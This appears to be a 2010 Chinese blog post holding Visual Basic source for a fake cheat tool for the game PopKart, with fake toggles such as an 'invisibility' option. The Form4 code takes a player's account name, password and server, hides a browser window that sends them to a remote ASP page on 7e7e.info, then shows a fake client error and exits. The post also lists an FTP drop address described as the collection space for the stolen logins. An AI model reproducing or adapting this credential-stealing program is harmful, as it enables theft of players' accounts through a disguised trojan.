暂时放一放./..脑子要炸了

暂时放一放./..脑子要炸了
2010年11月10日
　　ftp://55018.7e7e.info/   收信空间
　　ASP设置:
　　
　　VB FORM1窗口代码:
　　Dim X As Integer
　　Private Sub Check1_Click()
　　If Check1.Value = 1 Then
　　i = MsgBox("一键灭黑锁定成功", , "新势力老汉推车")
　　End If
　　End Sub
　　Private Sub Check2_Click()
　　If Check2.Value = 1 Then
　　i = MsgBox("点击打开跑跑即可,老汉不老,推车不倒", , "新势力老汉推车")
　　End If
　　End Sub
　　Private Sub Check3_Click()
　　If Check3.Value = 1 Then
　　i = MsgBox("隐身开启按F3", , "新势力老汉推车")
　　End If
　　End Sub
　　Private Sub Command1_Click()
　　Timer1.Enabled = True
　　End Sub
　　Private Sub Form_Load()
　　Check1.Value = 0
　　X = 0
　　Timer1.Enabled = False
　　End Sub
　　Private Sub Timer1_Timer()
　　X = X + 1
　　If X = 2 Then
　　Form1.Hide
　　Form2.Show
　　Form3.Show
　　End If
　　End Sub
　　VB FORM2窗口代码:
　　Dim i As Integer
　　Private Sub Form_Load()
　　pc2.Visible = False
　　i = 0
　　Timer1.Enabled = True
　　End Sub
　　Private Sub Timer1_Timer()
　　i = i + 1
　　If i = 2 Then
　　pc1.Visible = False
　　pc2.Visible = True
　　Form3.Hide
　　End If
　　If i = 4 Then
　　Form2.Hide
　　Form4.Show
　　End If
　　End Sub
　　VB FORM3窗口代码:
　　Private Sub Form_Load()
　　Me.Top = Screen.Height - Me.Height
　　Me.Left = Screen.Width - Me.Width
　　End Sub
　　VB FORM4窗口代码:
　　Dim s As Integer
　　Dim Y As Integer
　　Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
　　Private Sub Label1_Click()
　　ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/Class_47_Time_1.html", vbNull, "c:", vbNull
　　End Sub
　　Private Sub Label2_Click()
　　ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/2010/11/08/27353.html", vbNull, "c:", vbNull
　　End Sub
　　Private Sub Label3_Click()
　　ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/2010/11/04/27340.html", vbNull, "c:", vbNull
　　End Sub
　　Private Sub Label4_Click()
　　ShellExecute Me.hwnd, "open", "http://popkart.tiancity.com/homepage/article/2010/11/04/27339.html", vbNull, "c:", vbNull
　　End Sub
　　Private Sub Label5_Click()
　　ShellExecute Me.hwnd, "open", "http://member.tiancity.com/User/PasswordFindMethod.aspx", vbNull, "c:", vbNull
　　End Sub
　　Private Sub Label6_Click()
　　ShellExecute Me.hwnd, "open", "http://member.tiancity.com/Registration/KartReg.aspx", vbNull, "c:", vbNull
　　End Sub
　　Private Sub pc1_Click()
　　Dim a As String
　　Dim b As String
　　Dim c As String
　　a = Text1.Text
　　b = Text2.Text
　　If o1.Value = True Then
　　c = o1.Caption
　　End If
　　If o2.Value = True Then
　　c = o2.Caption
　　End If
　　If o3.Value = True Then
　　c = o3.Caption
　　End If
　　If o4.Value = True Then
　　c = o4.Caption
　　End If
　　Shell "c:\Program Files\Internet Explorer\iexplore.exe http://55018.7e7e.info/test.asp?name=" + a + "&pass=" + b + "&quss=" + c, vbHide
　　Timer1.Enabled = True
　　pc1.Visible = False
　　pc2.Visible = True
　　Timer2.Enabled = True
　　End Sub
　　Private Sub Form_Load()
　　s = 0
　　Y = 0
　　p2.Visible = False
　　pc2.Visible = False
　　Timer2.Enabled = False
　　Timer3.Enabled = True
　　End Sub
　　Private Sub Timer1_Timer()
　　Timer1.Enabled = False
　　End Sub
　　Private Sub Timer2_Timer()
　　s = s + 1
　　If s = 2 Then
　　i = MsgBox("跑跑客户端错误", 16 + 1, "错误,37,0,0,1")
　　End
　　End If
　　End Sub
　　Private Sub Timer3_Timer()
　　Y = Y + 1
　　If Y = 1 Then
　　p2.Visible = True
　　End If
　　If Y = 2 Then
　　p2.Visible = False
　　End If
　　If Y = 3 Then
　　p2.Visible = True
　　End If
　　If Y = 4 Then
　　p2.Visible = False
　　Y = 0
　　End If
　　End Sub
　　Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　Label2.FontUnderline = False
　　Label3.FontUnderline = False
　　Label4.FontUnderline = False
　　End Sub
　　Private Sub Label2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　Label2.FontUnderline = True
　　End Sub
　　Private Sub Label3_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　Label3.FontUnderline = True
　　End Sub
　　Private Sub Label4_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
　　Label4.FontUnderline = True
　　End Sub